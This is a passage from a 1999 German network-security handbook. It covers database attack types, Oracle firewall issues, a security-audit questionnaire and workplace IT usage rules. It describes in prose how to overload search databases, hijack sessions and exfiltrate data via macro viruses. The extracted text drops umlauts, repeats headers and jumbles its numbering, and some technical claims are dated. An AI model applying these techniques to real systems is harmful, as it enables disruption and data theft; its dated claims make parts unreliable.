Y','Y','Y','Y') 2 Query INSERT INTO user VALUES ('localhost','root','' ,'Y','Y','Y','Y','Y','Y','Y','Y','Y','Y') 2 Query INSERT INTO user VALUES ('localhost','','','N' ,'N','N','N','N','N','N','N','N','N') 2 Query INSERT INTO user VALUES ('tunix','root','','Y' ,'Y','Y','Y','Y','Y','Y','Y','Y','Y') 2 Query INSERT INTO user VALUES ('tunix','','','N','N' ,'N','N','N','N','N','N','N','N') 2 Quit 3 Connect root@localhost on 3 Reload 3 Quit 990819 10:27:02 4 Connect root@localhost on 4 Init DB test 4 Query show databases 4 Query show tables 4 Quit mysqld ended on Thu Aug 19 10:27:46 MEST 1999mysqld started 10:2 8:00 MEST 1999 mysqld ended on Thu Aug 19 10:28:06 MEST 1999mysqld started 10:2 8:12 MEST 1999 mysqld started on Thu Aug 26 06:08:44 MEST 1999 mysqld ended on Thu Aug 26 06:59:19 MEST 1999mysqld started 07:0 5:41 MEST 1999 mysqld ended on Thu Aug 26 14:26:28 MEST 1999mysqld started 14:2 7:40 MEST 1999 mysqld started on Fri Aug 27 07:10:08 MEST 1999 user01@tunix:/var/mysql >
on
Thu Aug 19
on
Thu Aug 19
on
Thu Aug 26
on
Thu Aug 26
Es wurden nur Daten aufgezeichnet die die Tabelle mysql, also diejenige Tabelle betrifft, die die Rechte verwaltet.... Ein echter Angreifer knnte aber auch diese Tabelle berschreiben .....was sicherlich einer Katastrophe gleichkommen drfte.....
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
2.
3.
4.
5.
6.
7.
8.
Datenbanken sind recht schnell, wenn keine Schreibzugriffe stattfinden, das weit grere Problem sind aber die Interfaces, allen voran CGI-BINs oder ASPs fr die Ausgabe auf WWW-Browser. Eine besonderes Problem tritt z.B. bei dem IIS-Server unter Windows NT 4.0 auf, der bei der Eingabe von "https" anstelle von "http" durch die CPU - fressende Verschlsselung bei vielen simultanen Abfragen schnell zum Erliegen kommt. Denial of Service durch zu komplexe Abfragen tritt relativ hufig auf. Wer schon einmal in den groen Suchmaschinen nach Begriffen gesucht hat, die garantiert nicht enthalten sind, wird feststellen, da die Suchanfrage viel Lnger dauert, als wenn ein gngiger Begriff recherchiert werden soll. Wenn mehrere dieser Begriffe noch durch ODER verknpft werden, dann kann es passieren, da die Datenbank schon mit einer Anfrage Minuten beschftigt ist. Denial of Service durch fehlerhafte Statements ist weit komplexer, als man vielleicht ahnen kann. Hinter jeder Datenbank stecken recht viele Mglichkeiten, Befehle miteinander zu kombinieren. Bei SQL Datenbanken sind die Mglichkeiten so vielfltig, da man durchaus duch geschickte INDIZIERUNG bestimmter Fehler das tausend oder millionenfache an Geschwindigkeit herausholen kann (Siehe Skript MySQL - Tuning). Alle Parser haben bestimmte Schwchen bei der Interpretation von Statements. Wer sich ein wenig mit C++ beschftigt hat, der wird bemerkt haben, da verschiedene Compiler bestimmte Statements unterschiedlich interpretieren. Durch eine grndliche Analyse der Datenbank kommt man nach einiger Zeit auf Varianten, die eventuell noch nicht im Filter implementiert wurden. Denial of Service durch zu lange Ausgabe-Ergebnisse trifft immer dann zu, wenn jemand z.B. nach dem Buchstaben "%a%" (SQL) suchen lt. In vielen Fllen ist die Eingabemaske in ihren Mglichkeiten schon eingeschrnkt (Siehe WWW-Interfaces). Wer sich die komplexe Struktur der bergebenen Parameter anschaut, der kann oft bei Suchmaschinen feststellen, da die max. Zahl der Ausgaben in dem HTML Code steckt. Man kopiert sich die HTML-Seite auf die Arbeitsstation, ndert die Ausgabe auf ein paar Millionen und schon hat man die Suchmaschine berlastet. Denial of Service durch Patermeter mit berlnge ist ein hnlicher Versuch, die Datenbank zur Verzweiflung zu bringen. Im Falle des IIS 2.0 und 3.0 konnte man durch Angabe einer URL mit vielen tausend Buchstaben Lnge den Server zum Absturz bewegen. Microsofts Lsung war so einfach wie unwirksam - sie begrenzten einfach die URL Lnge im IE 4.0, unter Netscape funktionierte der DoS Angriff noch viel lnger. Groe Datenbankanbieter, die z.B. hinter Computermagazinen (Computerwoche) steckten, hatten lange mit diesem Problem zu kmpfen. Denial of Service durch "buffer overflow" ist hnlich dem obigen Versuch, jedoch versucht ein Angreifer hier, zuerst komplexe Abfragen zu konstruieren, um dann den einen oder anderen Parameter mit berlangen Buchstaben/Zeichen zu berladen. Auch komplexe Filter haben Schwierigkeiten hiermit. Das Resultat ist Absturz des Datenbankservers. Einbruch in die Datenbank durch Ersniffen der Paworte ber das Netzwerk ist insbesondere bei ACCESS recht einfach. Im Internet gibt es viele Beispiele, die zeigen, wie man die Pawortabfrage einer ACCESS Datenbank umgehen kann, bzw. wie man die Authentifizierungmechanismen von ACCESS (.mdw) berwindet. Da hufig ACCESS am zentralen MS SQL Server angebunden ist, erfolgen die hufigsten Einbrche in SQL Datenbanken ber ACCESS. Die bertragung von unverschlsselten Paworten ist noch ein recht verbreitetes Problem bei Microsoft Netzwerken. Auch der ODBC Treiber bei Microsoft NT Servern hat zahlreiche Sicherheitslcken. Mit einem Makrovirus in irgendeiner EXCEL/WINWORD/ACCESS Datei lt sich der ODBC Treiber auf z.B. einem NT Server knacken. Damit hat dieses Makro hufig vollen Zugriff auf die Inhalte der SQL Datenbank, da sich kaum ein Systemadministrator Gedanken ber die internen Rechte am SQL Server macht. Einbruch in die Datenbank ber den PDC/BDC im Falle von Microsoft Netzwerken Nachdem Microsoft etliche Service-Packs herausgebracht hat, die angeblich verschlsselte Paworte einfhren, mu man dann feststellen, da sich die PDC/BDCs untereinander mit dem Pawort "anonymous" legitimieren. Dazu benutzen diese noch das RPC Protokoll, welches sich kaum ber Firewalls absichern lt. Wer also Directory Services implementiert hat, der mu sich darber im klaren sein, da ein Pawort gleich fr verschiedenste Dienste im Microsoft-Netzwerk gltig ist (SQL Datenbank - Fileserver - Email?) Wer wei genau, welches Pawort nach
9.
10.
11.
12. 13.
14. 15.
16.
der Installation welches Service Packs noch fr andere Dienste gltig ist ? Ich selber habe versucht, die Sicherheitsmechanismen von Windows NT zu verstehen - und nach einigen offensichtlichen Lgen von Microsoft aufgegeben.... Einbruch in die Datenbank ber Erraten der Paworte, Stichwort "dictionary attacks" ist ein beliebtes Ziel, zumal in vielen Firmen die Paworte aus Sicherheitsgrnden ablaufen. Es drfte wohl jedem klar sein, da wenn die User hufiger aufgefordert werden, das Pawort zu ndern, nach relativ kurzer Zeit die Paworte recht einfach zu erraten sein werden. Einbruch in die Datenbank durch unsichere Clients ist ein komplexeres Thema welches ich durch ein einfaches Beispiel erhellen mchte. In meinem Handbuch zu MySQL ist diese Problematik nher erklrt. Es gibt unter MySQL die Befehle LOAD DATA INFILE und LOAD DATA INTO OUTFILE. Diese Laden eine ASCII Tabelle von der Festplatte des Servers in den Datenbankserver und wieder herunter. Solange die Daten also nur auf der Festplatte des (angenommen) gesicherten Servers lagern, gibt es keine Probleme. Der Zusatz LOCAL also LOAD DATA LOCAL INFILE hat eine geringfgig andere Bedeutung. Die Daten werden zwischen der Festplatte der Arbeitsstation und dem Datenbankserver ber das Netzwerk im Klartext bertragen. Im gnstigsten Falle sorgt der Befehl COMPRESS dafr, da die Daten komprimiert bertragen werden. Dies ist ein Feature, welches von jedem ODBC - Treiber untersttzt wird, allerdings haben nur wenige eine Verschlsselung der Daten vorgesehen. Schlufolgerung ist, da man Clients an Datenbanken nur ber IPSec (PPTP, ENSkip, OPIE....) an den Datenbankserver anschlieen sollte. Einbruch in die Datenbank durch unklare Zugriffsrechte ist ebenfalls ein recht hufiges Problem. Mit Hilfe unklarer GRANT Tabellen kann es passieren, da vergessen wurde, die Zugriffsbeschrnkungen korrekt zu setzen. Ein ganz wichtiger Punkt bei der Erstellung der Security Policy. Einbruch in die Datenbank durch Replikations-Server ist recht selten. Es ist aber von Interesse, wie Transaktionen und die Replikationsmechanismen genau ablaufen. Einbruch in die Datenbank durch trojanische Pferde (ODBC, ACCESS). Unsichere Clients (siehe oben) sind der Hauptgrund fr erfolgreiche Einbrche in Datenbanken. Wer sich einmal die Makroviren MELISSA & Co genau anschaut, der wird feststellen, da hiermit auch Makros fr ACCESS gestartet werden knnen. Ein Makro in einer E-Mail kann somit die Datenbank mit LOAD DATA LOCAL INTO OUTFILE (Siehe Handbuch MySQL) ins Internet versenden. Microsoft nennt es Feature, andere nennen es eine Katastrophe. Einbruch in den Datenbankserver ber andere Sicherheitslcken. Fr Datenbanken mu im Prinzip das selbe gelten, wie fr Firewalls. Keine anderen Dienste auf dem Server ! Aussphen der Daten bei der bertragung ber das Netzwerk (ACCESS). Wer das typische Man In The Middle (MITM) Problem kennt, der kann sich vorstellen, da man mit einem Sniffer am Netzwerkstrang im Laufe der Zeit fast alle Eintrge in der Datenbank passieren sehen kann......... Zugriff mit gespoofter IP nach der Pawort-Authentifizierung ist ein recht hufiges Problem. Es wird "session stealing/hijacking" genannt. Ein User authentifiziert sich an der Datenbank, ttigt Abfragen. Ein benachbarter Host kontaktiert sich mit gespoofter IP - Nummer an diesen Host und ttigt seine eigenen Abfragen, ohne jedoch nocheinmal authentifizieren zu mssen. Einfacher gehts kaum noch. Wer sich die einfachen Beispiele in "C" vom PHRACK Magazin einmal genau anschaut, der wird feststellen, da diese auch fr andere Dinge geeignet sind. Starke Authentifizierung an dem Datenbankserver und eine verschlsselte bertragung mit z.B. PPTP (die Experten werden mich hoffentlich nicht schlagen!), welches zumindest sicherer geworden ist, sollte obligatorisch sein.
Um mit einem SQL Proxy eine Datenbank sicher an das Internet anzubinden, sind spezielle Filter unumgnglich. In diesen werden anhand einer Positivliste nur diejenigen Befehle zugelassen, die fr den Betrieb minimal notwendig sind. Die bergebenen Parameterlngen fr die Befehle mssen dann nochmals in der Lnge beschrnkt werden, was nur dann mglich ist, wenn man die Inhalte der Datenbank bzw. der Felder genau kennt. Da sich auch unter SQL mehrere Befehle kombinieren lassen, mu auch deren Kombinationsmglichkeit stark eingeschrnkt werden. Zum Schlu ist es wichtig, zu verhindern, da Angreifer ber andere Ports in die Maschine einbrechen und die komplette Datenbank mit Hilfe von anderen Protokollen ber die Firewall kopieren. Es mu also zum Schutz der SQL Datenbanken die Firewall noch gegen sog. insider attacks gesichert werden. Dies bedeutet in der Praxis, da auf der
Firewall neben der SQL Datenbank keine anderen Funktionen aktiviert sein drfen, und da die Firewall sofort Alarm meldet, wenn jemand versucht, z.B. eine FTP Verbindung von innen heraus zu ffnen. Im Grunde mu also eine Firewall, die eine SQL Datenbank sichern soll, gegen Angreifer von auen und innen schtzen. Ein PROXY, der Inhalte filtern kann, ist bei ORACLE erhltlich. PERL Skripte tun's im Prinzip aber auch. Man findet auf http://www.perl.org/CPAN/ einige Hinweise auf Filter. Es gibt aber noch einige Probleme mit den neuen JDBC-Treibern von ORACLE 8i. Der JDBC Thin Driver ist ein Klasse 4 Treiber, und erfordert folgende Besonderheit, hier ein Zitat von ORACLE: In Netscape 4.0 this involves signing your applet, then opening your connection as follows. Please refer to your browser documentation for the many details you have to take care of. netscape.security.PrivilegeManager.enablePrivilege ("UniversalConnect"); connection = DriverManager.getConnection ("jdbc:oracle:thin:scott/tiger@dlsun511:1721:orcl"); Firewall Considerations The JDBC Thin driver cannot connect to a database from behind a firewall. The firewall prevents the browser from opening a TCP/IP socket to the database. This problem can be solved by using a Net8 compliant firewall and using connect strings in the applet that are compliant with the firewall configuration. This solution really only works for an intranet, because the connect string is dependent on the firewall behind which the client browser is running. ORACLE ist ja nun auch unter LINUX und FreeBSD (das ist das Betriebssystem des geheimnisvollen Oracle 8i Database-Servers) verfgbar ist, mchte ich hier an dieser Stelle noch ein Zitat aus dem Handbuch von ORACLE erwhnen: "When the IP port number of the SQL*Net connection can be determined in advance, such as 1521, then connection can be permitted with some degree of security. Systems running multi-threaded servers, pre-spawned servers, or ones with architectures that do not support IP port sharing, require dynamic port allocation which tends to prevent connections. Firewall support where IP port redirection is employed requires an intelligent filter to monitor the port redirection information during the connect phase so that the filter can selectively open up the required port. Alternatively, a wide range of ports would have to be opened in advance, which would severely compromise security. In an application proxy solution the proxy itself handles IP port redirection issues." 1. Multi-Threaded Server (MTS) and pre-spawned servers always use dynamic port numbers. 2. "Dedicated Server" may either use 1. single port number say 1521 ; or 2.dynamic port numbers. Wherever possible, the first option is taken. It is the operating system and TCP/IP protocol implementation that determines which option is taken, not the version of Oracle or SQL*Net. 3. Oracle is producing (i.e. not available yet (March 1996)) a SQL*Net proxy which Oracle encourage FW vendors to integrate into their products. The proxy is based on the Oracle Multi-Protocol Interchange (MPI) and will support SQL*Net V2 only. Therefore, my observation is that: 1. There is no satisfactory solution for allowing SQL*Net traffic through FW if Oracle is configured as MTS or pre-spawned servers. No application proxy at present handle this. Gary Flynn quoted the White Paper "In an application proxy solution the proxy itself handles IP port redirection issues." is only a requirement that FW
vendors need to work on. This product doesn't exist at this moment. 2. There is no mention in the White Paper as to what OS and what TCP/IP implementation will cause a Dedicated Server to use dynamic port numbers. The limitation seems to be applicable to those that "do not support IP port sharing". 3. My preliminary (very preliminary) testing using Oracle 7 on HP-UX 9.x using SQL*Net v1 and Solaris 2.4 using both SQL*Net v1 and v2 revealed that a fixed port number on the server is used. The client port number is random but is constant for that specific session. In such a case, it is possible to apply simple filtering rules on screening routers or use such things as plug-gw. There is no need for setting up a server to server interchange. I can add that Oracle 7.1 on AIX 3.2.5 and Oracle 7.3 on Solaris 2.5 reveal the same behaviour, i.e. simple filtering rules on screening routers or such things as plug-gw from TIS's Firewall Toolkit may be used. However, Oracle 7.3 on Windows NT does not work this way. Hiermit wre im Prinzip alles gesagt, da sich an dem Prinzip von TCP/IP seit mehreren Jahren prinzipiell nichts mehr getan hat. Wer dennoch einen erhhten Sicherheitsbedarf hat, der sollte mit PPTP oder mit dem guten, alten IPX mit RC4 - Verschlsselung seine Daten transportieren. Schon seit vielen Jahren kann NOVELL jeden Datenverkehr verschlsseln und auch ber verschiedene Interfaces filtern.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
kontrolliert werden. Allerdings gehrt dann zu einer berwachung auch die Protokollierung des Datenverkehrs ber Interfaces. Hierzu mu man alle mglichen Interfaces, die Daten weitertransportieren knnen, kennen. Mgliche Interfaces sind teilweise bekannt: PROXYs, CGI-BINs, WWW-Server. Es gibt aber auch Interfaces, die kaum jemanden bekannt sind. Fehlerhaft programmierte FTP-Server, der WWW-Server IIS, APACHE, der Inet-Dmon unter UNIX, fehlerhafte TCP/IP Stacks bei Microsoft, der Filter WEBWASHER von Siemens, der auch als PROXY arbeitet, der SAMBAR WWW-Server und PROXY, Groupware Server (NOVELL Groupwise), der EXCHANGE Server, der MAIL-SERVER (SENDMAIL ohne SPAM-Kontrolle), der DNS Server u.s.w. Die Liste ist sehr lang, der mgliche Mibrauch dieser o.g. Software ist nachgewiesen. ber diese Interfaces knnen Datenpakete weitergeleitet werden, soda jemand eventuell Daten aus einem Datenbankserver abfragen kann, ohne direkt mit diesem in Kontakt treten zu mssen. Damit kann die Firewall auch keinen Protokolleintrag aufweisen. Zugriffe von Arbeitsstationen auf Server knnen in einer Firewall nur dann korrekt einem Anwender zugeordnet werden, wenn diese Arbeitsstation stets eine feste IP-Nummer zugeordnet wird. Beim Einsatz von DHCP, also dem IP-Leasing Modell von IBM, mu die Firewall und alle Router stets darber informiert sein, welche Arbeitsstation mit welchem User gerade welche IP-Numer verwendet. Da die meisten Router und Firewalls bei DHCP passen mssen, bleibt nur die feste Zuordnung von IP-Nummern und Arbeitsstationen. Im DHCP Server kann man Reservierungen fr bestimmte MAC Adressen festlegen, womit man das Problem dann umgangen hat. Ohne diese Festlegung ist eine berwachung eines Netzwerkes viel komplexer.
Leider hat Microsoft diese Kommunikationsprotokolle der PDCs untereinander auf den RPCs (Remote Procedure Calls) aufgebaut, einer Mischung aus TCP und UDP Protokollen. Das hat zur Folge, da der Systemadministrator zur Absicherung und berwachung von NT Netzwerken sehr teuere Firewalls einsetzen mu, die die RPC Proxy Mechanismen beherrschen. Die einzige Firewall, die im Quellcode verfgbar ist, und dieses Protokoll beherrscht, ist das TIS FWTK. Aber auch ber die Programmierung der Sinus Firewall-1 lassen sich diese Mechanismen nachbilden. Grundstzlich ist der Systemadministrator gut beraten, Microsoft Protokolle weitestgehend zu meiden. Es lassen sich auch sehr groe heterogene Netzwerke mit auf NT portierten UNIX Werkzeugen administrieren, hierzu sollte man einen Blick auf Kerberos, NIS+, YP, LDAP (SLAPD), einem Directory Access Protokoll, hnlich NDS, X.500 oder Active Directory) durchaus riskieren. UNIX Administrationswerkzeuge haben einen groen Vorsprung in Sicherheit und lassen sich mit preiswerten Firewalls gut berwachen.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Der Fragenkatalog
Dieser Fragenkatalog ist so gefat, da er nur als Anregung gedacht ist, bestimmten sicherheitsrelevanten Fragen einmal genauer nachzugehen und diese zu durchleuchten. Diese Fragen basieren auf konkreten Angriffen auf Systeme und bercksichtigen auch noch nicht entdeckten Fehlern in Systemen, die theoretisch jedoch durchaus bestehen. In der Sicherheits-Policy wird definiert, welche Sicherheitsanforderungen bestehen, wie diese umgesetzt werden knnen, und wie diese regelmig berprft werden knnen. Hierbei mu jedes Unternehmen fr sich selber festlegen, welche Sicherheitsansprche bestehen, was zu schtzen ist, und wie sichergestellt werden kann, da nicht unbemerkt Informationen entwendet werden knnen, sowohl durch interne Mitarbeiter, als auch durch externe Angreifer.
Gateways zu anderen Netzwerken Server Router, Switches, Firewalls Modems, ISDN-Karten in Arbeitsstationen Netzwerkdrucker Fax-Server Zeiterfassungssysteme Arbeitsstationen und Standorte Hardwareadressen und IP - Nummern Installierte Software und Versionsnummern und Patchlevel Aktivierte Protokolle und Dienste Interfaces zu anderen Diensten Verbindungswege Fernwartungszugnge zu Zeiterfassungssystemen, Telefonanlagen, Servern....
das berprft ? Werden Paworte zentral verwaltet ? Wie sind die beteiligten Server abgesichert ? Ist bei nderung des Pawortes evtl. das alte Pawort noch gltig (verzgertes Update in verteilten Umgebungen, Windows NT, NIS+, Kerberos) Wie erfolgt die Synchronisation der Paworte in einer verteilten Umgebung, welche Protokolle werden benutzt ? Sind Directory Services (NDS, LDAP, NIS+, YP, ActiveDirectory) im Einsatz ? Wie sind diese DS abgesichert ? Welche Dienste benutzen welche Arten der Authentifizierung ? Werden Daten verschlsselt bertragen ? Ist session hijacking mglich ? (SMB, TELNET, SMNP...) Sind buffer overflows mglich ?
11. Kann ein Systemadministrator seinem Nachfolger trojanische Pferde hinterlassen ? 12. Welche Vernderungen auf dem Server knnen nicht bemerkt/kontrolliert werden ?
Softwarepflege
1. Sind veraltete, schlecht gewartete Server im Einsatz, die von einem Angreifer als Werkzeug benutzt werden knnen ? Wie knnen diese gesichert werden ? 2. Welche Software ist installiert ? 3. Stammt die Software aus einer vertrauenswrdigen Quelle ? 4. Sind regelmig Sicherheitspatches eingespielt worden ? 5. Existieren ungelste, bekannte Sicherheitsprobleme ? 6. Kann der Systemadministrator unerlaubt installierte Software auf Clients feststellen ?
Fernwartung, Administration
1. 2. 3. 4. Werden Paworte verschlsselt bertragen ? Werden Daten verschlsselt bertragen ? Wie erfolgt Authentifizierung und Verschlsselung ? Ist ein replay attack mglich ? (challenge)
Ist ein buffer overflow auf das Fernwartungsprogramm /Dmon mglich (Siehe SSH) ? Kann ein Administrator Klartext-Paworte im RAM oder SWAP auslesen ? Von welchen Hosts aus ist (theoretisch) Fernwartung mglich ? Wie werden diese hosts abgesichert ? (Siehe Absicherung der Clients) Wie werden Details und Vernderungen auf dem Server mitprotokolliert ? Knnen bei der Fernadministration gleichzeitig Protokollfiles manipuliert werden ? Ist eine Rckverfolgung der Vernderungen mglich (HISTORY) Sind nach einem Security - Update (Einfhrung von verschlsselten Paworten) noch die alten Paworte gltig ? 13. Sind nach einem Zurckspielen eines Backups alte Paworte wieder gltig ? (nach einem DoS durch einen Angreifer) 14. Wird nach jedem Update eine Grundsicherung durchgefhrt ?
Vertraulichkeit
1. Kennt der Systemadministrator Paworte von Usern ? 2. Kann der Systemadministrator E-Mail/ Dateien von Usern einsehen ? 3. Kann der Systemadministrator aus Protokoll-Files auf besondere Neigungen/Hobbies der User schlieen ? 4. Kann ein User ber das Netzwerk bertragene Logfiles mitlesen ? 5. Kann ein User ber das Netzwerk bertragene Datenbankanfragen bzw. Inhalte der Datenbank mitlesen ? (Access) 6. Bestehen nach dem Ausscheiden des Systemadministrators noch Zugangsrechte bzw. Zugriffsmglichkeiten ? 7. Kann Spionage oder Mithilfe durch den Systemadministrator bemerkt werden ? 8. Welche Dateien knnen User gegenseitig einsehen ? Kann dies regelmig ermittelt und gelistet werden ? Hinweise: Zur Abklrung dieser Probleme ist auf die BUGTRAQ Datenbank (http://ww w.geek-girl.com) zurckzugreifen. Eine komfortable Suchfunktion erleichtert die Auflistung.
Softwarepflege
1. Sind veraltete, schlecht gewartete Server im Einsatz, die von einem Angreifer als Werkzeug benutzt werden knnen ? 2. Welche Software ist installiert ? 3. Stammt die Software aus einer vertrauenswrdigen Quelle ? 4. Sind regelmig Sicherheitspatches eingespielt worden ? 5. Existieren ungelste, bekannte Sicherheitsprobleme ? 6. Kann der Systemadministrator unerlaubte Software feststellen ?
Weitere Kommunikationsgateways
1. 2. 3. 4. 5. 6. 7. Existieren Faxserver ? Exisitieren Faxmodems auf Arbeitsstationen ? Exisitieren Modemserver ? Fernwartungszugnge ? Wie sind diese abgesichert ? Existieren IrDA - Schnittstellen in Druckern, Arbeitsplatzrechnern, Servern, Laptops ? Existieren Funkmodems ? Knnen FAX / Modemserver fr Angriffe mibraucht werden ?
19. 20.
21. ber welche Ereignisse wird der Systemadministrator informiert ? Wie wird er informiert ? Existiert eine Archiv-Datei ? Werden Ereignisse miteinander kombiniert und ausgewertet ?
Internet-Server festgestellt werden ? (Port 25 oder 80) Wie wird der Systemadministrator benachrichtigt ? Existieren counter intelligence - Mechanismen, die automatisch eingreifen ? Wie knnen diese berlistet werden ? Konsequenzen ? Wird die technische Sicherheit des Internet-Gateways durch Security-Scanner regelmig berprft ? Was testen die Securityscanner ? Erkennen die Security Scanner counter intelligence Mechanismen des Internet- Gateways (Blockierung aller Ports bei Entdeckung eines Scanners) Welche Konsequenzen ergeben sich daraus ? Welche Daten werden auf der Firewall aus den Datenstrmen gefiltert ? Welche Informationen ber interne Netwerk - Strukturen oder Clients werden in das Internet verraten ? (http://www.little-idiot.de/cgi-bin/test.cgi) Welche Informationen knnten fr einen Angreifer aufschlureich sein ? Wird die Wirksamkeit der Filter regelmig berprft ? Wie wird der Datenschutz gewhrleistet ?
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Vernderungen im System
1. Programme, die beim Starten des Rechners geladen sind, drfen nicht beendet werden, insbesondere Virenscanner u.s.w. 2. Netzwerkeinstellungen drfen nicht verndert werden 3. Es drfen keine Dienste oder Benutzergruppen dem System hinzugefgt werden - Dies ist alleinige Sache des Systemadministrators 4. Der vom Systemadministrator vorgeschriebene Browser und E-Mail - Client ist zu benutzen, auch wenn sich (noch) andere Software auf dem Rechner befindet 5. Einstellungen auf dem installierten Browser drfen nicht verndert werden, insbesondere mssen JAVA, JAVASKRIPT, Active-X stets ausgeschaltet bleiben, auch wenn sich einige Internet-Seiten nicht darstellen lassen 6. Aufflligkeiten aller Art am Erscheinungsbild oder am Verhalten des Systems oder der Software sind dem Systemadministrator unbedingt unverzglich und ausschlielich telefonisch mitzuteilen 7. Vernderungen durch Mitbenutzer oder Dritte sind dem zustndigen Systemadministrator mitzuteilen 8. Das Booten des Arbeitsplatzrechners mit oder von Diskette, ber jede Art von Datenschnittstelle, oder von CDROM ist verboten. 9. Die Vernderung der Einstellungen im BIOS ist verboten. 10. Eingriffe in der Hardware, der Austausch oder die Ergnzung von Komponenten sind dem Systemadministrator vorbehalten. 11. Das Speichern von Daten auf auswechselbare Medien ist verboten ! Falls Datenaustausch
zwischen Arbeitsplatzrechnern erforderlich ist, ist das hierfr ausdrcklich vorgesehene Gemeinschaftsverzeichnis auf dem Fileserver zu benutzen. Der Empfnger hat diese Datei(en) direkt nach Erhalt aus diesem Verzeichnis zu lschen. 12. Das Starten von Programmen von Diskette ist verboten !
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
E-Mail - Regeln
1. Eingehende E-Mail mit Anhang, egal von welchem Absender diese stammt und in welchem Format dieser Anhang gespeichert wurde, ist unbedingt und unverzglich an den Systemadministrator weiterzuleiten und ggf. im Posteingang zu lschen, sofern diese nicht vom Systemadministrator selber stammt, und ein zuvor verabredetes Zeichen (das OK!) im Anschreiben enthlt. Man erkennt diese E-Mails mit Attachments daran, da eine Broklammer rechts oben erscheint, und da es eines weiteren Klicks bedarf, um diese zu ffnen. Grafiken werden hierbei (nur hierbei) nicht als Anhang definiert. Zuwiderhandlungen haben unweigerlich eine Abmahnung zur Folge. 2. Von ausgehenden E-Mails, die an externe Personen adressiert sind, ist stets eine Kopie an eine zuvor bestimmte interne E-Mail - Adresse zu senden. Verste hiergegen knnen eine Abmahnung zur Folge haben. Als ausgehende E-Mails wird eine den Arbeitsplatzrechner ber irgendeine angeschlossene Netzwerkverbindung verlassende E-Mail definiert, das knnen auch ISDN, Modem, IRDA, serielle / parallele Schnittstellen und Netzwerkadapter oder hnliches sein. 3. Ausgehende E-Mails mit Dokumenten als Anhang (auch Grafiken) drfen nicht direkt versendet werden. Sollte es in Ausnahmefllen notwendig sein, einen Text zur Weiterverarbeitung an externe E-Mail - Adressen zu versenden, so ist diese unter Angabe der Zieladresse im Anschreiben an den
4.
5.
6.
7. 8.
zustndigen Systemadministrator im Hause zu senden. Sie erhalten dann eine E-Mail mit einem Pawort zurck, welches dem Adressaten fernmndlich mitzuteilen ist. Es dient der Entschlsselung des Dokumentes am Zielort. Das Dokument darf nur als RTF (Rich Text Format) versandt werden. Hierzu mu es mit "speichern als" unter Neuangabe des Formates zuerst auf die Festplatte gespeichert werden. Falls Dokumente (Powerpoint, Excel oder andere) versandt werden mssen, so sind diese zuvor entweder in HTML oder TXT Dateien zu konvertieren. Nur in Ausnahmefllen sollten diese Dokumente im Originalformat versandt werden. Punkt 1 +2 bleiben hiervon unberhrt. Nur von der Geschftsfhrung schriftlich authorisierte Personen (oder die Geschftsfhrung selber) drfen Dokumente mit Anhngen direkt per E-Mail versenden. Um dies zu ermglichen, ist vom Systemadministrator die Software zu installiere n, ein Schlssel zu generieren und ein Pawort festzulegen. Der Schlsselnehmer ,also die authorisierte Person mu das Pawort bei der Generierung des Schlssels persnlich eingeben. Der Systemadministrator darf dieses Pawort nicht erfahren. Bei der Vergabe des Pawortes sind folgende Bedingungen zu beachten: Es mu aus einer willkrlich gewhlten Buchstaben/ Zahlenkombination aus Gro - und Kleinschrift bestehen und mindestens 8 Buchstaben lang sein. Die fr das Verschlsselungssystem bentigten Schlssel sind entsprechend einer speziellen Vorschrift aufzubewahren. Die Festplatte ist anschieend zu defragmentieren. Ausgehende E-Mails, die eindeutig persnlicher Natur sind, sind als solche mit einem verabredeten Zeichen zu kennzeichnen. Diese drfen eine vereinbarte Lnge nicht berschreiten und keine Anhnge enthalten. Es ist stets eine Kopie an eine zuvor bestimmte besondere interne E-Mail - Adresse zu senden. Der Systemadministrator erhlt in diesem Falle (und nur in diesem Falle) aus Datenschutzgrnden keine Kopie. Dem Systemadministrator ist es ausdrcklich untersagt, das Archiv dieser persnlichen Mails einzusehen. Er ist angewiesen, dieses Archiv nach der Zhlung der Anzahl, schnellstmglich und regelmig zu lschen. Ausgehende E-Mails, die eindeutig persnlicher Natur und auch als solche gekennzeichnet sind, jedoch Anhngen enthalten, drfen vom Systemadministrator berprft werden. Die unterliegen auch der Geheimhaltung und unterstehen dem Datenschutz. Ausgehende E-Mails mit TON - oder VIDEO - Aufzeichnungen als Anhang sind als solche wie verabredet zu kennzeichnen. Punkt 1+2 bleiben unberhrt. Das versenden von E-Mails, deren Gre eine definierte Grenze berschreitet, ist untersagt. Mehrere inhaltlich zusammengehrenden E-Mails gelten als eine E-Mail, deren Gre die definierte Grenze nicht berschreiten darf. Vernderungen der Einstellungen des E-Mail-Clients, auch nur vorbergehend, sind untersagt. Der Versand von E-Mails an die eigene Adresse (intern oder extern) ist untersagt. Der Versand von E-Mails mit Paworten, Logins, digitalen Schlsseln oder Signaturen ist verboten ! Verste haben unweigerlich eine Abmahnung zur Folge. Der Mibrauch von anderen Programmen (telnet....) fr die Versendung von E-Mails ist verboten.
File-Transfer
q
Die Verwendung eines FTP-Clients ist nur Personen gestattet, die ausdrcklich und offiziell mit der Betreuung des WWW-Servers beauftragt sind.
Gemeinschaftsverzeichnisse
q
Um Daten mit anderen Usern auszutauschen, ist der Weg ber E-Mail zu whlen, falls nicht Verzeichnisse zur Verfgung stehen, zu denen nur und ausschlielich die beiden betroffenen User Zugriff haben.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
